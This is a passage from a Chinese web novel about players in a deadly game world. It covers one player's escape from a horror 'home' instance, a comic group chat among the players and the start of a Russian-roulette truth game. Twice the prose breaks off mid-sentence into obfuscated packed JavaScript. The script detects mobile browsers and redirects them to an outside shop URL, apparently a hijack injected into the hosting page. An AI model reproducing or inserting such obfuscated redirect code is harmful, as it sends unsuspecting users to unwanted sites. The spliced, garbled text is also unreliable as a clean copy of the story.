但她注意到在四个墙角肉膜已经逐渐变得淤紫,腐坏。 “……” 桌面上多出一张纸。 那是唯一没有被生物薄膜和血管脉络覆盖的物体。 段心慈将它从桌上拾起,放在眼下。 【接下来请遵守以下规则:】 【[1]你是一个好孩子】 【[2]你会遵守规则的】 青年心底讽刺,绿赛图斯还是这么会恶心自己。 纸张背面是一片空白,也没有再向方才一样突然出现什么字体。 为了防止房间里多出来什么东西她不知道,段心慈再次把整间卧室都翻了一遍。 最后她在枕头下摸到一支新出现的蜡烛。 她拿着蜡烛走进厨房—— 意料之外,灶台是可以被打着的。 段心慈原本想过,如果灶台点不着就手搓火苗的。 现在看来不用她多此一举了。 蜡烛顶端的棉线被点燃,青年端着燃烧的蜡烛走进卧室。 温暖的光源微微照亮。 在暖光下,那些肉膜腐败的角落,颜色似乎也浅了许多。 随之而来的是周围环境再一次发生巨大变化。 “来吃饭了。” 开饭的声音在客厅里响起。段心慈走出房间。 一个在厨房与客厅之间忙碌的身影。 无端的,段心慈知道眼前的NPC,身份是‘母亲’。 在客厅里看电视,对一切漠不关心的NPC,身份是‘父亲’。 “今天吃你最爱吃的…羊杂汤。” ‘母亲’端着一锅沉重的热汤走向餐桌。 汤里漂浮着内脏和绿油油的葱花。 突然,她脚下被什么东西绊倒,连人带汤砸在地上。 碎玻璃刺穿心脏,热汤和血蔓延。 NPC‘母亲’死了。 NPC‘父亲’仍旧坐在沙发上,两眼空洞而诡异地盯着面前的电视,笑容满面。 段心慈走到沙发前。 ‘父亲’的内脏消失不见,对方却浑然不觉。 周围场景扭曲—— 她再次回到那个湿暗的,被肉膜覆盖的房间。 原本燃烧的蜡烛不知什么时候熄灭,烛泪混着焦黑的灰烬干涸在蜡烛表面。 像一节白骨。 32. 好消息与坏消息 那些淤紫的腐肉不知何时再次蔓延,就像两个截然不同的时空。 青年有预感,不能让那些覆盖卧室的生物薄膜彻底腐烂。 带着蜡烛再一次走到厨房,红色的鹦鹉一声不吭地注视着她。 等段心慈带着重新点燃的蜡烛往卧房走的时,鹦鹉发出一声瘆人的怪笑—— “蜡烛不要烧干了。” 它在吊灯的架子之间跳跃,叫喊:“蜡烛!烧干!” 没理会这只发疯的鹦鹉,她回到卧室,关上门。 白纸不知何时被重新放在最显眼的位置—— 【接下来请遵守规则:】 【[1]你是一个好孩子】 【[2]你会遵守规则的】 “……” 段心慈将白纸从桌面拿起,倾斜着放在烛火上点燃。 火苗愈烧愈旺。 “来吃饭了。” 开饭的声音在客厅里再次响起。 青年没有在第一时间走出门。 两分钟里,客厅里静悄悄的,什么都没有发生。 突然,‘哐当’一声巨响,门被推开。 “我做好了饭为什么不吃?” NPC‘母亲’端着锅怒气冲冲地质问。 段心慈侧身避开‘母亲’泼向她的热汤。 见对面避开攻击,NPC逐渐异化成怪物,融化的身躯更加愤怒—— “你为什么不肯体谅体谅我!” “被体谅的永远是弱者。” 段心慈摸到身后的烛台握在手里:“体谅是强者的权力。” ‘怎么会有人甘心让渡权力?’ 青年不明白。 金属烛台被敲碎,锋利的破损划过怪物的喉咙。 温热的血喷溅在天花板上,黏腻的血液滴滴答答。 ‘母亲’死去,死前仍在背负不知名的意义。 段心慈转头看向‘父亲’。 坐在沙发上空荡的怪物。 比起声嘶力竭的‘母亲’,更趋于一个背景板。 ‘母亲’的热汤只是加工‘父亲’那些丢失内脏的工具。 ‘父亲’彻底失去承担自己的能力。更无力承担‘家庭’,或更多。 被怪物全神贯注用以逃避周围的电视机上什么也没有。 很难想象这样刻板的行为会出现在没受过虐待的活物身上。 在时间里‘父亲’比‘母亲’被副本同化、腐蚀得更加严重。 他的自我,已经在过往每一次舒适惬意的麻木与罪孽里消亡。 段心慈手里拎着破碎的烛台,烛台上还滴滴答答挂着‘母亲’的血。 她走上前—— 下个瞬间烛台划过沙发上怪物的喉咙。 ‘嗤啦’一声,伴随皮肉被割开的声音,腐血飞溅。 名为‘父亲’的怪物无声无息死去并倒下。 环境再一次切换。 段心慈看着面前即将熄灭的烛火站起身,她就要离开这个副本。 作为玩家的出口在另一个空间。 此时,青年已经知道离开的正确方式。 剧本,魔方之家,离「家」。 从没有谁规定过这扇铁门不能被打开。 毕竟一开始就说过—— 【家像魔方,兜兜转转,千方百计只为回到原点。】 回到,那个彼此尚未遇见的时刻。 出路就在一开始进入副本的地方。 房间里,蜡烛已经在火焰里融化太多,现下只剩短短一节。 红鹦鹉窝在烛台上,就像白骨上一小团腐烂的血肉。 “我可以告诉你出口。”它一边说着,一边用尖锐的鸟喙细细打理着翅羽。 段心慈没有理会鹦鹉。 离开副本对她而言只是或早或晚的事情,没必要寄托在一只敌友不明的鹦鹉身上。 然而三个小时过去,房间里天花板都拆了一层,她还是什么也没有找到。 “我说了我可……” 鹦鹉没能继续说下去。 段心慈抓住烛台把它抖了下去。 鹦鹉死死盯着地上散落的羽毛:“……你会后悔的。” “你凭什么确定自己离通关只差了一个出口。”它有些幸灾乐祸。 段心慈没理会这只鹦鹉,她在脑内梳理起自己进入副本后的一切。 一睁眼就出现在书桌面前……规则纸条。 鹦鹉……鹦鹉比她更先存在于副本中,至于有没有能力篡改规则纸条… 长发青年靠在椅背上像是想到什么,笑了一下。 红鹦鹉:“……你笑什么?” 现在她手里有一个好消息和一个坏消息。 好消息: T.T-Carro要找的伙伴,也就是上一届的TOP.1-【预言师】。 可以确定还活着。 坏消息: 活着的不止顾屿。 段心慈转头看向红鹦鹉:“你想知道?” 红鹦鹉没想过自己的身份会暴露,正欲开口却在下一秒戛然而止。 “我觉得出口在你肚子里。” 青年一把掐住鹦鹉的脖颈,面色平静地说出最令鹦鹉感到恐惧的话。 红鹦鹉抖了抖根根炸起的羽毛:“……我觉得你觉得的不准。” “不准没关系。” 段心慈敲碎烛台,锋利的金属片对准红鹦鹉的喉咙:“打开来看看就准了。” 红鹦鹉:“……你是什么时候发现的?” 都到这个地步,再继续装成普通鹦鹉也没有意义。 它完全没有意识到,自己的伪装堪称于无。 段心慈没有和它废话的想法—— 眼见金属片就要落下,鹦鹉凄厉地惨叫:“我吐!我吐给你!” ‘现在TOP榜风格都变得这么阴森吗?’ 没有深想,它竭力将腹中钥匙形状的食茧呕出。 鹦鹉打理着根根炸立的羽毛,平复心情。它要求不多,只要能活下去就行。 段心慈:“……” 有备无患,青年从大衣口袋里抽出一次性环保手套。 鹦鹉无语:‘……真讲究。’ 钥匙确实与大门锁眼相匹配。 她看了一眼鹦鹉。 是制造幻境的能力?还是空间转换? 鹦鹉一言不发地两脚朝天仰倒在桌面装死—— 感受翎羽上突然传来的一阵冷意,它屈辱开口:“窗户。” 段心慈粗暴地将窗户锁上的肉膜撕下,钥匙顺利插进锁眼转了两下。 窗户被推开,外界是漆黑一片。 对自己的判断没有疑虑,她毫不犹豫地跳进黑暗。剩鹦鹉一只鸟在窗台边缘装死。 玄发青年轻巧地降落在街道,周围是来来往往的行人。 对于有人跳楼并安全落地这件事,路人纷纷侧目投以惊悚的注视。 段心慈:“……” 就在这时,她身后陡然响起一阵诡异的动静。 长发青年回过头,却发现身后空无一物:“?” 巨大的拉力从裤腿传来,力气之大让她不得不提着裤腰后退一步。 视线下移,她看到一个人形物种趴在地上,形状格外扭曲。 “……忒尼斯·厄洛诺斯?” 段心慈有些震惊。 不是因为忒尼斯不知为何变成人形,腰部以下的八条蝰蛇不翼而飞…… 也不是因为狐蛇此刻匍匐在地上,移动方式堪称生物大退化。 而是因为—— “你为什么不穿裤子???!” 看着账户里通关第一幕获得的金币,段心慈当即从系统商城里买了副墨镜戴在脸上。 围观人群乍看到这诡异的组合,纷纷退避三舍。 更有甚者一次性拨打了报警电话和救护车,指望能一站式服务,把忒尼斯·厄洛诺斯送进精神病院。 忒尼斯死死拽住身边青年的裤腿,眼神偏执:“这根本不重要!” “重要的是我现在,不能走路!” 这就是人和非人生物终究难以志同道合的事了。 段心慈完全不关心忒尼斯到底是爬着走还是向横着走—— “这很重要,你真的需要一条裤子。” “或者裙子。” “……好吧。” 想到段心慈可怕的武力值,这头厄洛诺斯短暂屈服道:“那我要自己去商场挑。” 她还没逛过人类商城呢。 段心慈面色阴沉,磨了磨牙:‘合着你还想城市里裸奔是吗???’ 作为一名诞生自星际社会的人类,她多少有点接受无能。 虽然、但是……对半神…或是神祇来说,裸体很正常。 毕竟性别说到底只是第四属性,形态也随意变换…… 眼见忒尼斯·厄洛诺斯完全不在乎他人的眼光就要站起身,对下肢的熟悉程度也在逐渐恢复…… 警笛和救护车的声音在越来越近—— ‘不,我还是不能接受!’ 段心慈无法说服自己接下来九个副本都要忍受这样的事情。 她迅速从系统商城里买了一条裤子一条裙子,直接甩在这头厄洛诺斯的脸上,冷酷地命令—— “穿。” 忒尼斯从脸上扒下裤子,目光阴沉:“……” 她不情不愿地把刚刚驯服的双腿塞进裤子,往上一提。 段心慈本以为对方已经放弃了裙子,正打算把还没穿过的裙子拿回系统商城退货—— 就见狐蛇抓起裙子套在裤子的外面,嘴里嘀咕:“你们人类就是麻烦。” 段心慈:^^? 无可否认,关于穿衣服这件事,人类确实没有发言权。 就在这时,又有两道身影从单元楼大开的铁门内走出,正是谢挽非和穆格罗。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509260|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看到【织觉人】怪异的装扮,二者纷纷愣住。 狐蛇形态的忒尼斯正常站立足足有三米高,但人类形态的忒尼斯明显矮了一截。 只比段心慈高出半个头不到。 耳旁,刺耳又富有韵律的警笛声越来越近。 谢挽非目光在三人身上扫视一圈,直指真相:“是来抓你们的?” 三位:“……” 他们要在副本里总共呆上14天。 为了不在副本第一天就蹲大狱或者被关进疯人院,玩家们默契拉满,拔腿就跑。 逃跑的路上,谢挽非顺手救起一只被困在井盖下的虎斑猫放上人行道,转头问身旁的【屠夫】:“我们没犯事儿吧?” 穆格罗挠头:“大概,没有?” ‘杀了两个一直追着我喂人杂汤的变态应该属于自保吧!’ 谢挽非大惊:“那我们为什么要跟着逃?” 穆格罗:“你不觉得跟着段心慈,不被抓的概率会大一些吗?” 谢挽非想了想段心慈的武力值:“她不会杀我们吗?” “不会啊?” 穆格罗想了想:“TOP虽然很变态,但是对我们这些浑水摸鱼,不想要她性命的家伙从来都很宽恕。” 少年若有所思,直到她看到马路对面,长发青年正伸手拉起一个倒在人行道上的老人。 谢挽非大为震撼:‘三代会长私下里原来是这个人设吗?’ 原本段心慈在躲警车,毕竟她身上的血腥味不是假的。 碰巧看到路边有个不知道躺了多久的人,闲的没事儿上前扶了一把。 此举虽不算大爱无疆,但至少也罪不至死。 孰料那看起来一步三喘的人开口就是勒索—— “不想我告诉警察是你撞得我,就老老实实赔给我100万!这事儿就算两清了!” 段心慈冷笑。 绿赛图斯到底从哪儿整的风水宝地来折磨他们这群TOP榜? 她一个手刀劈晕勒索犯,顺手从对方包里搜走了全部现金。 整套动作行云流水,没有半点刚才扶人起来的善良劲儿。 谢挽非看得津津有味,点评道:“按照我上学那会儿的道德评级,段心慈能拿A+。” 穆格罗顺口问了一句:“那你呢?” 谢挽非抬头挺胸,拍了拍胸膛:“我的道德和我的枪法一样好。” 穆格罗不明觉厉。 在他看来,谢挽非能做上TOP.2的宝座,不可能真的全靠打假赛。多少要有点过人之处。 或许她真的是神枪手也不一定。 另一边,忒尼斯·厄洛诺斯还不知道段心慈刚刚被原住民讹了一把。 她上身是代号十里常年穿的亮橙大翻领夹克,克莱因蓝内搭紧身背心。 下装是和上半身截然不符的白裤子叠白裙子,全然不顾周围人惊讶的目光,大摇大摆地赤足走进人声鼎沸的商场。 身后疯人院专属救护车的声音极具穿透力。 狐蛇对她促成的混乱很是满意。 她走进一家装修十分吸睛的店铺。 目光环视一圈,最后欣赏地落在一条造型夸张、漆皮亮面的荧光绿阔腿裤上。 前台一女一男,两个战战兢兢的接待员对视一眼。 见身旁男同事没有上前的意愿,女接待看着来人双开门冰箱般的身材,咽了咽嗓。 对业绩的渴望让她克服恐惧,用甜美的夹子音上前问道:“女士,您是看中这条裤子了吗?” “对。” 忒尼斯觉得眼前的人类很上道。 她指着墙面架子上一双大红色网面加细白边的运动鞋道:“我还要一双鞋。” 女接待哽咽:“……好的,您稍等。” 职业守则第二条,不要质疑客户的审美。 就算那看起来真的很糟糕。 忍住胃里想吐的冲动,女接待背过身走去库房帮忒尼斯拿新货。 毕竟没有让客户穿样品的道理。 一分钟后—— 拿着荧光绿裤子和大红运动鞋接待小姐走出库房。 眼前是倒在地上生死不明,眼珠和裆部呈现三团模糊血肉的男同事—— 以及下半身什么都没穿,明显等得不耐烦忒尼斯。 接待小姐脑袋里划过一系列可能发生的最糟糕的事情。 她低着头走上前对忒尼斯说:“我可以帮您报警。” 忒尼斯不知道眼前的人类已经脑补出一万种悲剧。 她一把拿过绿油油的裤子,三下五除二扣上裤腰带,穿好鞋:“听到外面的警笛了吗?“ 接待小姐不明所以,点点头。 “是来抓我的。” 忒尼斯对自己第一天到来就引得如此兴师动众倍感兴奋,迫不及待地分享给这位‘上道人类’。 接待小姐愣了愣。 事情好像和她想的不太一样。 33. 如果命苦是天赋 如果接待小姐此时不那么礼貌地抬起头让视线上移…… 就会在窥见那张朦胧之美的面孔前,先对上一张非人的,令见者悚然觳觫的血腥「口腔」。 「口腔」咧开,代替原本属于人类的生殖器官与消化系统构造—— 位于胃部偏下,从腹肌中线一直开裂到后脊骨。 密密麻麻,同巨型鲨鱼牙一般紧密排列的利齿有节奏、有规律地自主摆动着,发出细微却难以忽视的声响。 开裂的腹腔里,无数漆黑、粗壮的触肢翻滚、搅动。 触肢上密集的吸盘嵌着红红白白的眼珠。 接待小姐很礼貌,从始至终没有抬头。 忒尼斯搞不懂,她还觉得自己的构造挺炫酷的。 其实上衣也是。 如果不是段心慈暴力压迫,她根本不会穿。 然而这件事上段心慈并不为厄洛诺斯着想,她只在乎自己的眼睛。 思及此,忒尼斯决定给段心慈添点堵。 跨过地上一动不动,乍一看完好无损实则已经被拦腰斩断的尸体—— 她走向前台拨通段心慈的固定副本电话号。 彼时青年正在一家烤鱼店前徘徊,犹豫着到底要不要吃晚餐。 电话铃声响起,她刚点开绿色按钮,就听见忒尼斯理直气壮的声音从话筒里传来—— “段心慈,我要买新裤子。” 段心慈冷静询问:“……你要多少?” 忒尼斯翻了翻裤子的挂牌,又拎起鞋子的挂牌瞧了瞧:“加上鞋子一共三万二。” “还有八千小费,你给我四万整就行。” 狐蛇喜欢那个胸牌上写着黄小璜三个字的人类接待,并且决定给她一笔不菲的小费。 “……恕我拒绝。” ‘说真的,你去抢银行来的更快些。’ 咽下险些脱口而出的腹诽,段心慈直接挂断电话。 看着钱包里的两千八她决定先吃个晚餐。 忒尼斯刚才有给自己打过电话吗? 想来是没有的。 忒尼斯打过去,段心慈挂断。 如此重复三回。 青年终于不堪其扰,点开那个她向来忽视的当前副本玩家群聊—— 【我要把你们剁成腻子涂墙(10)】 也不知道这群聊名称是谁起的,透着浓重的报社感。 最后一条消息还是下午13:15波绪拿发的—— 【摇篮】:我刚从下水道爬上来,你们在哪儿? 下面空荡荡的,一个回话的玩家也没有。 段心慈编辑了一条短信,内容如下: 【神的怨、憎、恶】:@全体成员 TOP.3【织觉人】急需四万副本世界货币。走众筹。 [神的怨、憎、恶转账织觉人100货币] 点击发送。 手机放下,她的烤鱼刚好上桌。 从大衣口袋里掏出随身携的盐罐和辣椒粉均匀地撒在烤鱼上,全然不顾自己在群里掀起的血雨腥风。 [织觉人领取了神的怨、憎、恶的转账] 【织觉人】:就这么点儿? 【地母】:?@【织觉人】 【摇篮】:……我刚从下水道出来,谁能来告诉我进度? 【虔诚者】:我被全球通缉了,抱歉,手里钱也不多… 【虔诚者】:流泪png. [虔诚者转账织觉人5货币] [织觉人领取了虔诚者的转账] 【织觉人】:还有吗?我真的很中意那条裤子。 【织觉人】:普信猫png. 【地母】:这儿还有你能穿的裤子?别逗我笑。 [地母-织觉人一封专属红包] [织觉人领取了地母的红包:1货币] 【织觉人】:……抠死你算了。 【生者】:快了快了,你们不要着急。 嘉里亚腰上别着狙击枪,一边打字回复,一边观察附近的情况。 【生者】:我在尽力搞钱! 【生者】:自信柯尔鸭png. 【死者】:?你在哪儿?回话。@【生者】小刀emoji.×3 维莉亚·涅挪在屠宰场里磨刀霍霍的同时不忘继续打字—— 【死者】:@【摇篮】刚过第一个副本,你的进度和我们不一样吗? 波绪拿蹲在井口,抱着她的粉海螺睡帽刷消息。 【摇篮】:我不清楚,我刚进副本就在下水道捡垃圾……大哭emoji. 卡利安飞身躲过一发急射而来的子弹,躲进一条小巷掏出手机。 【虔诚者】:好像我们的开局不太一样… 【生者】:@【虔诚者】 【虔诚者】:怎么了? 【生者】:抬头看天。 卡利安·尤菲放下手机,抬头。一把黑洞洞的枪口正正顶在他额角。 小巷墙头,嘉里亚·涅挪食指搭在扳机上笑容灿烂:“嗨~” “花瓶。” “你很值钱。” 枪用力顶了顶卡利安的脑袋,嘉里亚食指轻轻点上自己的面颊:“恰巧,我很缺钱。” 卡利安·尤菲:“……” 【我要把你们剁成腻子涂墙(10)】 【生者】:偶遇三亿。 【虔诚者】:易碎png. 【主角】:好热闹啊!我才发现这里有群聊。 【主角】:开局第一幕副本居然不一样吗?我现在是世界第一强国的总统。 谢挽非站起身,不顾身旁抖若筛糠的原住民拿起手机向外走去,边走边说—— “对了,向全世界随机投放核弹的计划暂时取消。” 原住民瞬间如释重负,瘫坐在地上。 【屠夫】:不对吧?刚刚你不是还和我们在E国一起躲警车? 【主角】:系统说投放出错,给我重新安排的新身份。 【神的怨、憎、恶:。】 窥屏的段心慈有点震惊但不多。谢挽非运气一直很好。 摸了摸兜里仅剩的2660,她决定再点两份烤鱼。 【织觉人】:@【主角】打钱。 [主角转账织觉人15000货币] [织觉人领取了主角的转账] 【主角】:小蛇叉腰gif. 【织觉人】:比我想象的少。 【主角】:国库里的钱我不能动。 【主角】:小蛇沮丧gif. 【地母】:够了@【主角】我是黑户。死亡微笑emoji. 【虔诚者】:@【主角】救救救!我在被你的战略伙伴派来的杀手追杀! 【生者】:不是,你们开局都这么华丽? 【死者】:@【生者】你到底在干什么?? 【死者】:另外我第一幕是杀猪。谁能告诉我…… 【生者】:@【死者】我在和@【虔诚者】抱团取暖,一拍即合。 【虔诚者】:……对。 【死者】:ok。我放心。 【屠夫】:@【死者】你干的好像是我的活。 【匿名】:死亡微笑emoji.×3 【摇篮】:你们的开局我的开局好像不一样。苦涩emoji. 就在忒尼斯·厄洛诺斯以为她为了不与那条裤子失之交臂,只能成为一名法外狂徒时,事情发生了出乎意料的转折—— 【我要把你们剁成腻子涂墙(10)】 【生者】:@全体成员 【生者】:@全体成员 【生者】:@全体成员 【死者】:……别把@键当玩具。 [生者-全体成员 20亿货币随机红包] 【生者】:我没有!@【死者】 【生者】:普信猫png. 【死者】:你那儿来这么多钱? [织觉人领取了生者的随机红包] 【织觉人】:三千万,太够意思了@【生者】 【生者】:那见面能不杀我吗?@【织觉人】 忒尼斯·厄洛诺斯一边结账接她中意的裤子和鞋子回家,一边打字回复道—— 【织觉人】:看我心情@【生者】 【生者】:好的。 【死者】:@【生者】别无视我的消息。小刀emoji.×3 [神的怨、憎、恶领取了生者的随机红包] 【神的怨、憎、恶】:多谢。@【生者】 【生者】:TOP.1太客气了…… 嘉里亚大为震撼,一共20亿,那位居然只随机到了0.1副本货币… 【死者】:@【生者】小刀emoji.×3 [匿名领取了生者的随机红包] [屠夫领取了生者的随机红包] [死者领取了生者的随机红包] 【虔诚者】:@【死者】他分批劫掠了三家Mafia银行,美名其曰黑吃黑。 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509261|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虔诚者】:疲惫png. [虔诚者领取了生者的随机红包] 【死者】:……Mafia?你们在Y国? 【虔诚者】:是的。 【死者】:我在F国… 某不知名乡村里,维莉亚狠狠剁下一节猪排骨,挂在烟熏架上。 【我要把你们剁成腻子涂墙(10)】 【主角】:环球旅行吗?有趣。 【主角】:现在就算有谁告诉我,自己在南极看企鹅我也不会惊讶了。 【地母】:……哈,你最好只是随口一说。 【主角】:真在南极?@【地母】 【地母】:……北极。死亡微笑emoji. 北极圈—— 艾里门·歌德身边已经围了一圈北极熊的尸体。 她坐在浮冰上,在凛冽的寒风里面无表情地盯着手机,神情肃穆地打下一行字—— 【地母】:@【神的怨、憎、恶】你在哪儿? 【神的怨、憎、恶】:[定位共享] 【地母】:……好远。[定位共享] 【地母】:@【虔诚者】你能帮我把附近这片海域全冻上吗? 【虔诚者】:…我试试。 五十秒后…… 【虔诚者】:只能维持三小时。你要抓紧。 【地母】:OK!谁在追杀你,我帮你摆平@【虔诚者】 【生者】:惊恐猫猫头png. 【死者】:惊恐猫猫头png. 感受到【生者】嘉里亚手中的狙击枪恨不得直接戳进自己的脑浆。 卡利安属实不知道他们在惊恐什么…… 【虔诚者】:我这边问题不大……其实是第一幕刚开始就被追杀了。 【屠夫】:情况和我一样,你第一幕是为什么被追杀啊? 【虔诚者】:我开局是医院逃杀类型。 【虔诚者】:刚进副本就在手术室里,患者全麻中途醒了,看见我的眼罩…就开启逃杀副本了。 【匿名】:医生好残忍啊^^ 【匿名】:@虔诚者你的手术刀在我这里哦~嘻嘻嘻嘻嘻。 【虔诚者】:…… 无论身处何地,这群玩家们脑海里不约而同地浮出一个念头: 第二幕究竟什么时候开始? 他们、真的、不想、再看到那些该死的家伙耀武扬威了! 仿佛知道他们的心声,群聊里出现了这样一条没有署名,凭空出现的消息: 【我要把你们剁成腻子涂墙(10)】 [请在今夜前找到符合自己身份的住处,于翌日上午9:00前,集体抵达#坐标。] [你们不会想知道违背的后果。] 0个玩家理会。 群聊里再次陷入沉静。 与恐惧而沉默不同,系统能感受到明晃晃的厌恶以及蓄意给它难堪的默契配合。 而它,甚至不能强求任何一个玩家发「收到」。 * 第二日 清晨的阳光逐渐驱散夜里的寒冷。从高处俯瞰,整座城市呈现浅淡的蓝。 段心慈在房顶上一觉睡到自然醒,抻了抻有点僵硬的腰背。 没急着赶去代号十发送的坐标,而是先去楼下餐馆买了整条盐烤鲑鱼。 厨师还是没放盐。 简单进食后她把锡纸包好,随手扔进就近的干垃圾箱。 玄色发丝的青年走出小巷,撕开空间,下一瞬就出现系统坐标指定的地点。 眼前是座金碧辉煌的宫殿赌场。 和印象中喧闹混乱,人声鼎沸的普通赌场不同,这座赌场过于安静。 只有偶尔的交谈,荷官洗牌发牌,筹码相撞以及掌控命运的小球滚动的声音。 ‘代号十让我们来赌场做什么?’她有些不解。 “TOP,早。“ 忒尼斯·厄洛诺斯今天打扮地十分刺眼。 见段心慈早到,她从自己背包里分出一桶爆米花扔给对面的人。 对美学毫无建树的首席大人只是觉得看见忒尼斯后有些难受,但又说不上究竟哪里不对。 最后只能草率地归结为自己今天确实比昨天更讨厌这头狐蛇。 也就是愣神的功夫,段心慈下意识伸手稳稳接住扔向自己的爆米花桶。 “里面有一颗是定时炸弹哦。” 狐蛇晃晃腕上的手表,体贴道:“还有五秒。” 长发青年:“……” 34. 流血流脓的世界 段心慈挑出那颗万中无一,滴滴作响的爆米花,上前一步。 快、准、稳地将炸弹塞进忒尼斯的爆米花桶里,甚至贴心地帮她摇匀。 被那双阴沉的眼珠像看死物般盯着,忒尼斯觉得有点爽。 于是她仰头利落地把一桶爆米花闷了。包括那枚炸弹。 段心慈神情阴郁地后退一步。 忒尼斯·厄洛诺斯不知从哪儿又掏出一捧全新的爆米花:“别这么看我,我只是胃口比较好。” 别说炸弹,就算是核弹进了这头厄洛诺斯的消化腔,也注定如石沉大海,激不起半点水花。 谢挽非默默离狐蛇远了些。 她真的很担心忒尼斯会突然炸开。 顺手扶正自己刚弄来的金边粉色墨镜,谢挽非向段心慈打招呼:“早安啊,TOP.1。” “早啊,【主角】。” 段心慈扭头看向谢挽非。 “呃!” 谢挽非做了一个捧心的姿势,真诚道:“我再也不挤兑你了。” 段心慈顿了顿,疑惑:“你怎么戴墨镜了?” 此时距离九点整还有五分钟不到,已经到达目的地的玩家们索性闲聊起来。 “意外。都是意外。” 谢挽非示意段心慈看那边早到了三个小时,此刻睡得天昏地暗的【摇篮】波绪拿。 “从我来开始她就在睡觉了,【摇篮】一直是这样吗?” 段心慈噎了噎:“我和波绪拿不是很熟。” 她没有搪塞谢挽非,只是自己和这位深居简出的神秘7号确实不曾有过交流。 仅有的一面之缘,是在青年暴力通关一场寄生类副本后。 那时,还不是【摇篮】的波绪拿与新晋TOP.1的青年擦肩而过。 在那之前,在那之后,她们都不曾有过交集。 段心慈至今仍然记得—— 擦肩而过时,对方身上扑面而来,浓郁的咸腥。 海水特有的潮湿闷重与说不清道不明,属于植物怪异的香气混杂…… 幽暗招摇。 但现在…… 她不再能从对方身上感受到这些了。 * 八点五十九分的时候,玩家已经陆陆续续地到齐。 九点整。 位于门口的男侍走上前。 此时他终于确定眼前这群风格迥异,穿搭奇葩的客人…是上头点名核心招待的对象。 “这位……女士。” 极有分寸地拦下波绪拿,侍者带着歉意道:“赌场有规定,衣冠不整者不得入内。” 波绪拿不认为那些冷血的同行者会帮助自己(事实也确实如此)。 那张冷冰冰的嘴唇一开一合吐出四个字—— “这、是、设、计。” 侍者:“……那您身上的……呃?” ‘总不能这下水道味儿也是设计吧?’ 波绪拿整张脸阴沉地垮下来:“高级定制。别挡道。” “……好的。” 侍者不再阻拦。 确切地说,他只需要一个能够交差的答案,而不是盲目阻拦,徒生事端。 玩家们被带到一扇位于走廊内侧的镀金实木门前,黑色的404门号格外扎眼。 侍者恭敬地推开沉重的大门,与此同时灯光也一同亮起。 房间内霎时灯火通明。 一张巨大的旋转圆桌摆在正中,几乎占据了房间四分之三的面积。 黄金大转盘的中央放着托盘,一把花纹精美的左轮手枪安静躺在托盘上。 边缘是间隔均匀的10个签筒。 不多不少,十把椅子无声地邀请着赌场来客。 “悲观的运气游戏。” 【屠夫】穆格罗喃喃低语。 他的运气没有TOP.1那么差,却也没有谢挽非那样好。 事实上这里大多数玩家都和穆格罗一样—— 运气中等。 角落里,谢挽非靠近段心慈,示意她看一眼手机。 【主角】(私聊):你要保谁? 段心慈垂头看了一眼,打下一行字并发送。 【神的怨、憎、恶】:保住你自己。 【主角】:…真是无情。 副本世界,系统令人恼火的提示音响起—— 【第二幕-真心假意】 【这是一场不能说谎的游戏。】 【剧场任务:大家之间似乎还不是很熟捻呢,借着这场游戏热身一下吧!】 “一群被困在神秘赌场房间里等待救援的可怜家伙,耐不住寂寞玩起一个入门难度极低的不说谎桌游。” “参与者只需要带上自己的性命和胆量!所以说这简直是最低级的游戏啦!” “子弹位于座位所在桌面正下方的抽屉里。” “旋转桌面,被枪口指到的玩家要回答抽到签筒里凶手签玩家的问题。” “凶手签一旦抽出就会变成红色,一局可能会出现多支凶手签。” “凶手不得自主放弃提问资格,这个时候就需要凶手玩家之间先行游戏相互淘汰啦。” “听到这里你或许感到有些无聊,这不就是真心话大冒险吗?” “和传统真心话大冒险不同的是大冒险内容已经被指定——铛铛铛!没错,就是经典轮盘赌!” “子弹填进弹巢,弹巢旋转过程中扣下扳机,若轮空则弹巢内子弹会自主报废一颗。” “选择说真话,座位下方的子弹同样会自主报废一颗作为玩家尊重真相的奖励。” “记住不要撒谎,神灵在看着你。” “——逃避真话的孩子,可就不能逃避子弹了。” “现在——” “游戏开始!” 门口的侍者听不见系统的发言,他微微欠身,态度恭敬:“祝各位玩得尽兴。” “如果运气好,你们甚至能在100发子弹用光后赶上我们赌场的豪华晚餐。” 说罢,侍者无情地将门一锁。悄无声息地站在房门边。 他实在是想不通,怎么会有这么离奇的包厢订单。 100发子弹,别说吃晚餐了,就是明天早餐也吃不上。 后天直接下葬。 * 房间里,十名玩家动作干脆、落座。 “100发子弹?” 【生者】嘉里亚·涅挪一边抽签一边说:“但愿我们不会都死在这里。” 【死者】:“你已经决定走大冒险了?” 这些子弹就算不致命,也绝对会造成不小的负面影响。 没有玩家会天真地认为代号十会准备那种无伤大雅的子弹给他们。 “我建议非必要还是说真话。” 虽然,这场游戏根本就是算准了他们会自相残杀而设立的圈套。 段心慈将所有玩家的神色收入眼底,两指并拢漫不经心地从面前的签筒里随意抽出一支放在面前。 如她所料,空白签。 很快抽签结束,进入了转盘环节。 “无论谁来负责转转盘我都会觉得有猫腻的。” 艾里门·歌德半是抱怨地提议:“不如让我转?” “你前半段话说的很对。”【匿名】隐晦地暗骂。 忒尼斯·厄洛诺斯摇头:“后半句简直是疯言疯语。” 【地母】深棕色的眼瞳里闪过一丝烦躁:“那干脆我们一起转。” “别想了,桌子是不会被蛮力转碎的。” 段心慈心底叹气,说出口的话却格外冷淡。 